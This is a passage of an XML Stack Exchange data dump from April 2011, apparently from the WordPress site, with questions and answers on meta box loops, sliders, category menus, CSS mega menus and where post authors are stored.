  <row Id="15515" PostTypeId="2" ParentId="15491" CreationDate="2011-04-24T15:16:35.213" Score="1" ViewCount="" Body="&lt;p&gt;Look under Dashboard &gt; Store Sales&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/LbDOx.png&quot; alt=&quot;store sales&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-14T18:33:44.387" LastActivityDate="2011-05-14T18:33:44.387" CommentCount="1" />
  <row Id="15516" PostTypeId="1" AcceptedAnswerId="15520" CreationDate="2011-04-24T15:34:04.080" Score="0" ViewCount="58" Body="&lt;p&gt;I am working on a Thematic child theme and using the &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/#display_options&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy Meta Box Class&lt;/a&gt; to create an 'Artwork Info' meta box that I want to conditionally echo like this at the end of each post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title&lt;br /&gt;&#xA;Medium&lt;br /&gt;&#xA;Dimensions&lt;br /&gt;&#xA;Additional Info&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My instance of the class is defined like this in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = 'wpf_';&#xA;$artinfo_mb = new WPAlchemy_MetaBox(array&#xA;(&#xA;    'id' =&amp;gt; '_custom_meta', // underscore prefix hides fields from the custom fields area&#xA;    'title' =&amp;gt; 'Artwork Info',&#xA;    'template' =&amp;gt; STYLESHEETPATH . '/custom/artwork-meta.php',&#xA;    'context' =&amp;gt; 'normal',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's an example of the HTML for each field, located in &lt;code&gt;artwork_meta.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Title&amp;lt;/label&amp;gt; &#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;?php $mb-&amp;gt;the_field('title'); ?&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; style=&quot;width:99%&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;&amp;lt;?php $mb-&amp;gt;the_value(); ?&amp;gt;&quot;/&amp;gt; &#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this function in &lt;code&gt;functions.php&lt;/code&gt; to print the data in each post via an array of the fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_artwork_info() {&#xA;&#xA;    global $artinfo_mb; &#xA;    $artinfo_mb-&amp;gt;the_meta();&#xA;    $values = array('title','medium','dimen','additional'); &#xA;&#xA;    echo the_content();  &#xA;&#xA;    // loop through and conditionally echo the value with a line break&#xA;    foreach ($values as $val) {&#xA;        if ($val != ''){&#xA;            $mb-&amp;gt;the_value($val);&#xA;            echo '&amp;lt;br /&amp;gt;';&#xA;        }&#xA;    } &#xA;} &#xA;add_action('thematic_post', 'display_artwork_info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works fine except the &lt;code&gt;foreach ($values as $val)&lt;/code&gt; always echoes the line breaks, even if the field's value contains no data. For example, if the 'medium' and 'additional info' fields are empty, the HTML echoes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;Dimensions&#xA;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my loop? Am I using the wrong WPAlchemy function to echo the meta data? Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2011-04-24T16:53:55.083" Title="conditionally echo &lt;br /&gt; in meta box data loop" Tags="&lt;metabox&gt;&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="15518" PostTypeId="2" ParentId="12604" CreationDate="2011-04-24T15:58:08.890" Score="1" ViewCount="" Body="&lt;p&gt;Sounds like you are looking for the functionality of &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0 Menus Subpanel&lt;/a&gt;. In Dashboard go to 'Appearance' then 'Menus' and you can create a page that will show the posts from a specified category. &lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2011-04-24T15:58:08.890" />
  <row Id="15519" PostTypeId="2" ParentId="1241" CreationDate="2011-04-24T16:16:20.010" Score="0" ViewCount="" Body="&lt;p&gt;Similar method works to exclude members:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_remove_members( $m, $members ) {&#xA;&#xA;  foreach ( $members-&amp;gt;members as $key =&amp;gt; $member ) {&#xA;&#xA;      if ( $member-&amp;gt;id == 1 ) {&#xA;&#xA;          unset( $members-&amp;gt;members[$key] );&#xA;&#xA;          $members-&amp;gt;member_count = $members-&amp;gt;member_count-1;&#xA;          $members-&amp;gt;total_member_count = $members-&amp;gt;total_member_count-1;&#xA;          $members-&amp;gt;pag_num = $members-&amp;gt;pag_num-1;&#xA;      }&#xA;  }&#xA;&#xA;  /* Renumber the array keys to account for missing items */&#xA;  $members_new = array_values( $members-&amp;gt;members );&#xA;  $members-&amp;gt;members = $members_new;&#xA;&#xA;  return $members;&#xA;&#xA;}&#xA;&#xA;add_action('bp_has_members','custom_remove_members', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-24T16:16:20.010" />
  <row Id="15520" PostTypeId="2" ParentId="15516" CreationDate="2011-04-24T16:53:55.083" Score="2" ViewCount="" Body="&lt;p&gt;$val will never == '' here, because $val is holding your field name, not the data. also, use get_the_value to have it returned, the_value will just echo the data out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($values as $val) {&#xA;    if ($artinfo_mb-&amp;gt;get_the_value($val) != ''){&#xA;        $artinfo_mb-&amp;gt;the_value($val);&#xA;        echo '&amp;lt;br /&amp;gt;';&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-24T16:53:55.083" CommentCount="1" />
  <row Id="15521" PostTypeId="1" CreationDate="2011-04-23T11:40:31.440" Score="0" ViewCount="90" Body="&lt;p&gt;I'm looking for a wordpress function to move theme's templates into a subfolder (mytheme/templates). Anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution can be paid (plugin) or free.&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2011-08-24T01:33:57.090" Title="How to move all theme templates into a subfolder WP" Tags="&lt;blog&gt;&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15522" PostTypeId="2" ParentId="15512" CreationDate="2011-04-24T19:57:10.400" Score="1" ViewCount="" Body="&lt;p&gt;I have used the &lt;a href=&quot;https://github.com/ProLoser/AnythingSlider&quot; rel=&quot;nofollow&quot;&gt;Anything Slider&lt;/a&gt; to do this. A checkbox added to the post editor …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/g2j3s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;… and a simple query later …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// excerpt from my slider class&#xA;public function list_slider_items()&#xA;{&#xA;    $posts = get_posts(&#xA;        array(&#xA;            'meta_key' =&amp;gt; 'featuredpost'&#xA;        ,   'meta_value' =&amp;gt; 'on'&#xA;        )&#xA;    );&#xA;&#xA;    if ( empty ( $posts ) or ! is_array( $posts ) )&#xA;    {&#xA;        print '&amp;lt;!-- no posts found --&amp;gt;';&#xA;        return;&#xA;    }&#xA;&#xA;    $out = '&amp;lt;ul id=slider class=noprint&amp;gt;';&#xA;&#xA;    foreach ( $posts as $post )&#xA;    {&#xA;        $out .= '&amp;lt;li&amp;gt;' . get_the_post_thumbnail( $post-&amp;gt;ID, 'slider-img' )&#xA;            . '&amp;lt;span class=&quot;slider-cat-list&quot;&amp;gt;'&#xA;            . get_the_category_list( ' · ', 'single', $post-&amp;gt;ID )&#xA;            . '&amp;lt;/span&amp;gt;'&#xA;            . '&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $post-&amp;gt;ID ) . '&quot;&amp;gt;'&#xA;            . get_the_title( $post-&amp;gt;ID )&#xA;            . ' &amp;lt;span class=more-link&amp;gt;Weiterlesen&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&#xA;    print $out . '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… and it is nearly done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to tweak the stylesheet very much. It’s a mess. But in the end you get a slider that can contain any HTML, is usable for keyboard users and fits to a percentage width.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-24T19:57:10.400" CommentCount="3" />
  <row Id="15523" PostTypeId="1" CreationDate="2011-04-24T20:28:41.020" Score="1" ViewCount="62" Body="&lt;p&gt;I want to add a onsite social bookmarking system to a WordPress installation. is there any thing like this available?&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-26T02:46:28.953" LastActivityDate="2011-05-26T02:53:32.127" Title="Is there a good plugin for social bookmarking on site for WordPress" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="15524" PostTypeId="1" CreationDate="2011-04-24T21:17:36.410" Score="0" ViewCount="80" Body="&lt;p&gt;I'm using this piece of code below to display an A-Z list of my categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This shows everything in A)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;az-index&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;A&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;?php&#xA;    $categories = get_categories( array('name__like' =&amp;gt; &quot;a&quot;, 'order' =&amp;gt; 'ASC') );&#xA;    foreach ( (array) $categories as $cat ) { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $cat-&amp;gt;term_id ) ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/wp-content/thumbs/&amp;lt;?php echo $cat-&amp;gt;category_nicename; ?&amp;gt;-small.jpg&quot; alt=&quot;&amp;lt;?php echo $cat-&amp;gt;name ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;info&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;cat-name&quot;&amp;gt;&amp;lt;?php echo $cat-&amp;gt;name ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;cat-count&quot;&amp;gt;&amp;lt;?php echo $cat-&amp;gt;count ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like is to add the tags associated with the specific category listed aswell. Is it possible to get the tags somehow, using this method?&lt;/p&gt;&#xA;" OwnerUserId="1778" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:05:13.677" LastActivityDate="2011-04-24T23:05:13.677" Title="WordPress Tags in Category" Tags="&lt;categories&gt;&lt;tags&gt;" CommentCount="2" />
  <row Id="15525" PostTypeId="1" AcceptedAnswerId="15558" CreationDate="2011-04-24T23:04:31.680" Score="-4" ViewCount="148" Body="&lt;p&gt;I'm looking for an easy to use step by step guide on how to create a MultiColoumn menu for categories on wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually in my blog I have 10/12 &quot;main&quot; categories and a couple of them have something like 50 Sub-categories and I will add more so I need something Automatic to show them in my menu.&#xA;Actually I have one but it is full of bugs. So I need something new please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my CSS (you can also write it from scratch, maybe it's better :P)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.videoCssMenucontainer {margin: 2px 0 0;}&#xA;UL.ws_css_cb_menu {background-color : #7F9DB9;width : 96%;margin:0 1.75% 10px 1.75%;font : bold 13px Arial, Helvetica, sans-serif;display : block;float : left;height : 33px;border-top-right-radius : 0;border-bottom-right-radius : 10px;border-bottom-left-radius : 10px;border-top-left-radius : 0;position:relative;z-index:10000;}&#xA;UL.ws_css_cb_menu LI {display : block;margin : 2px 0 0 2px;float : left;}&#xA;UL.ws_css_cb_menu A:hover UL, UL.ws_css_cb_menu A:hover A:hover UL, UL.ws_css_cb_menu A:hover A:hover A:hover UL {display : block;}&#xA;UL.ws_css_cb_menu A {display : block;vertical-align : middle;border-width : 0;border-color : #6655ff;border-style : solid;padding : 2px;color : #444444;text-decoration : none;text-align : left;}&#xA;UL.ws_css_cb_menu SPAN {overflow : hidden;}&#xA;UL.ws_css_cb_menu LI A:hover, UL.ws_css_cb_menu LI A {padding : 9px;color : #763319;}&#xA;UL.ws_css_cb_menum LI A:hover, UL.ws_css_cb_menum LI A {padding : 4px;font-weight : normal;color : #000;}&#xA;UL.ws_css_cb_menu UL {position : absolute;left : -1px;top : 98%;width : 160.65px;background-color : #ffffff;}&#xA;UL.ws_css_cb_menu UL UL {position : absolute;left : 98%;top : -2px;}&#xA;UL.ws_css_cb_menu, UL.ws_css_cb_menu UL {margin : 0;list-style : none;padding : 0 2px 2px 0;}&#xA;UL.ws_css_cb_menu A:active, UL.ws_css_cb_menu A:focus {outline-style : none;}&#xA;UL.ws_css_cb_menu UL LI {float : left;width : 150px;}&#xA;UL.ws_css_cb_menu UL A {white-space : nowrap;text-align : left;}&#xA;UL.ws_css_cb_menu LI:hover {position : relative;}&#xA;UL.ws_css_cb_menu LI:hover &amp;gt; A {background-color : #fff;color : #000;border-color : #665500;border-style : solid;text-decoration : none;}&#xA;UL.ws_css_cb_menu LI A:hover {position : relative;background-color : #fff;color : #000;text-decoration : none;border-color : #665500;border-style : solid;}&#xA;UL.ws_css_cb_menum LI A:hover {background-color : #ffc000;}&#xA;UL.ws_css_cb_menu IMG {border : none;float : left;margin-right : 4px;width : 16px;height : 16px;}&#xA;UL.ws_css_cb_menu UL IMG {width : 16px;height : 16px;}&#xA;UL.ws_css_cb_menu UL, UL.ws_css_cb_menu A:hover UL UL {display : none;z-index : 99999;}&#xA;UL.ws_css_cb_menu LI:hover &amp;gt; UL {display : block;}&#xA;UL.ws_css_cb_menu SPAN {display : block;padding-right : 11px;background-position : right center;background-repeat : no-repeat;}&#xA;UL.ws_css_cb_menu LI A TABLE, UL.ws_css_cb_menu LI A:hover TABLE {border-collapse : collapse;margin : -4px 0 0 -9px;border : 0 solid #000000;padding : 0;}&#xA;UL.ws_css_cb_menu LI A TABLE TR TD, UL.ws_css_cb_menu LI A:hover TABLE TR TD {padding : 0;border : 0 solid #000000;}&#xA;UL.ws_css_cb_menu LI A TABLE UL, UL.ws_css_cb_menu LI A:hover TABLE UL {border-collapse : collapse;padding : 0;margin : -4px 0 0 -9px;}&#xA;UL.videoCssMenu {font-size : 13px;width : 96%;margin:0 1.75% 10px 1.75%;background : #7F9DB9;color:#FFF;text-shadow: rgba(0, 0, 0, 0.398438) 1px 1px 1px;border : 0 solid #000000;}&#xA;UL.videoCssMenu .videoMenuTitleImage {margin : -2px 0 0 -2px;width : 79px;height : 30px;}&#xA;UL.videoCssMenu UL {left : 0;background-color : #857DA2;width : 430px;}&#xA;UL.videoCssMenu LI A {color:#FFF;text-shadow: rgba(0, 0, 0, 0.398438) 1px 1px 1px;padding: 5px !important;text-transform:uppercase;}&#xA;UL.videoCssMenu UL LI A {overflow: hidden; float:left;}&#xA;UL.videoCssMenu UL LI {width : auto;float : left;height : 27px;}&#xA;UL.videoCssMenu LI:hover &amp;gt; A, UL.videoCssMenu LI A:hover {background-color : #ffffff;border-radius : 5px;border-color : #fff;padding : 5px !important ;color : #000;}&#xA;UL.videoCssMenu LI UL LI:hover &amp;gt; A, UL.videoCssMenu LI UL LI A:hover {background-color : #ecb899;border-color : #fff;padding : 5px;color : #000;}&#xA;ul.ws_css_cb_menu ul ul ul{background:#ccc;color:#142E51;text-shadow:1px 1px 1px #000;}&#xA;ul.ws_css_cb_menu ul ul ul a{color:#142E51;text-shadow:1px 1px 1px #000;}&#xA;.ws_css_cb_menum LI {width:auto;height:20px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my HTML/PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;ws_css_cb_menu videoCssMenu&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://downloadtaky.info&quot; title=&quot;Downloadtaky.info | Download FREE Film IPA Serie TV&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Categorie&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;?php wp_list_categories('sort_column=name&amp;amp;sort_order=name&amp;amp;style=list&amp;amp;children=true&amp;amp;hierarchical=true&amp;amp;title_li=0&amp;amp;dept=5&amp;amp;show_count=1&amp;amp;feed_image=/images/RSS.png'); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Pagine&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;?php wp_list_pages('title_li='); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Hack&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://proxy.downloadtaky.info&quot;&amp;gt;Proxy&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://hide.downloadtaky.info/&quot;&amp;gt;Url Hider&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://html2bbcode.downloadtaky.info&quot;&amp;gt;HTML 2 bbCode Converter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Seo&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://pagerank.downloadtaky.info/&quot;&amp;gt;Pagerank&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://seo.downloadtaky.info/&quot;&amp;gt;FREE Seo Services&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://submit.downloadtaky.info/&quot;&amp;gt;Url Submitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Servizi CSS&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://buttongenerator.downloadtaky.info/&quot;&amp;gt;CSS Button Generator&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://favicon.downloadtaky.info/&quot;&amp;gt;Favicon Generator&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Generatori Link Premium FREE&amp;lt;/a&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;        &amp;lt;ul class='ws_css_cb_menum'&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a title=&quot;Megavideo Unlocker, supera il limite di Megavideo&quot; href=&quot;http://www.premiummu.com/megavideounlocker.php&quot;&amp;gt;Supera il limite di Megavideo&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a title=&quot;Fileserve, Megaupload,Uploading FREE Premium Link Generator&quot; href=&quot;http://www.premiummu.com/premiumlinkgenerator.php&quot;&amp;gt;Premium link generator&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;!--[if lte IE 6]&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php include('supsearch.php');?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't care about IE6 anymore, IE7 support will be enough, thank you to all for your help!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:17:51.763" LastActivityDate="2011-04-25T17:19:41.760" Title="How to create an automatic MultiColoumn MegaMenu with Categories WordPress" Tags="&lt;categories&gt;&lt;custom-menus&gt;&lt;css&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="15526" PostTypeId="2" ParentId="10481" CreationDate="2011-04-24T23:16:27.733" Score="0" ViewCount="" Body="&lt;p&gt;You can create a Page and then apply a custom archive template to it.  I create and use archive-{post-type}.php fo the template name just like you would for the default archive, I just manually apply it to the Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do this, I'd recommend setting your CPT to has_archive='false' to avoid permalink collisions, regardless just make sure your Page has a different permalink slug than your CPT archive slug is set to.&lt;/p&gt;&#xA;" OwnerUserId="2932" LastActivityDate="2011-04-24T23:16:27.733" />
  <row Id="15527" PostTypeId="1" AcceptedAnswerId="15528" CreationDate="2011-04-25T01:55:26.367" Score="0" ViewCount="87" Body="&lt;p&gt;I just imported my entries from my blog into a freshly installed Wordpress. I created a new user..e.g. &quot;bob&quot; (bob has an ID=2 in the wp_users table). I want the author of the new posts that I've imported to be &quot;bob&quot;.  So I thought that I change the post_author of a post to 2!  However, when I went to view the post in the blog, the author was still the old author.&#xA;I found the work around for this...you can actually change the author by using the bulk post editing function. After I did this, the posts in the blog had their author as &quot;bob&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when I went to the wp_posts table, the post_author field did not change. I looked at all the wp_ tables and can't see where a post's author is indicated. The only place that I found was the wp_posts table...but changing the post_author doesn't see to take any effect when you look at the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the mystery is...where is the real author id of a post kept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK...I found out that there were some posts that were duplicated &lt;em&gt;except&lt;/em&gt; for their 'post_status'.  There are some weird statuses such as 'auto-save' and 'inherit'. I unfortunately didn't see the post_status column and changed the 'post_author' of a post with the 'inherit' status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So mystery solved...&#xA;The new mystery, i.e. what the different 'post_status' values are &lt;a href=&quot;http://wordpress.org/support/topic/post_status&quot; rel=&quot;nofollow&quot;&gt;is answered here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditorDisplayName="" LastEditDate="2011-04-25T02:40:31.100" LastActivityDate="2011-04-25T02:40:31.100" Title="Changing user of post by changing 'post_author' field in 'wp_posts' table not taking effect. Where is the real post author info kept?" Tags="&lt;users&gt;" AnswerCount="1" />
  <row Id="15528" PostTypeId="2" ParentId="15527" CreationDate="2011-04-25T02:18:58.923" Score="1" ViewCount="" Body="&lt;p&gt;the real author id is stored in... post_author in the posts table. not sure what's going on in your case. I've just created a new user now and changed some post_author ids to this new user directly in the database and it's showing immediately when I refresh the admin interface. maybe some sort of cache situation you've got happening.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-25T02:18:58.923" CommentCount="0" />
  <row Id="15529" PostTypeId="2" ParentId="15512" CreationDate="2011-04-25T02:46:05.500" Score="1" ViewCount="" Body="&lt;p&gt;This is one of those things you probably have to do yourself, even though there are some slider plugins,  they are difficult to customize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a jquery slider is pretty straightforward, they are usually just controlled with ID's and CLASS's, so you can wrap any WordPress code, for instance a wp_query (for featured posts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;toscho's answer pretty much covers it, I tend to use Jquery Tools a lot since it has great docs and tons of functionality, &lt;a href=&quot;http://flowplayer.org/tools/index.html&quot; rel=&quot;nofollow&quot;&gt;http://flowplayer.org/tools/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-25T02:46:05.500" />
  <row Id="15530" PostTypeId="1" AcceptedAnswerId="15532" CreationDate="2011-04-24T23:59:49.380" Score="2" ViewCount="105" Body="&lt;p&gt;I am doing a WordPress site for a school. One of the pages would have a list of 20 or so students, which would include their name, photo and small blurb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this type of thing handled in Wordpress? I would like the user of the CMS to be able to manage this page effectively - adding/removing students etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Wordpress is being used in e-commerce sites, so people who run these site must be in the same situation on their pages of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be using plugins?   Custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="4867" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T04:52:47.643" 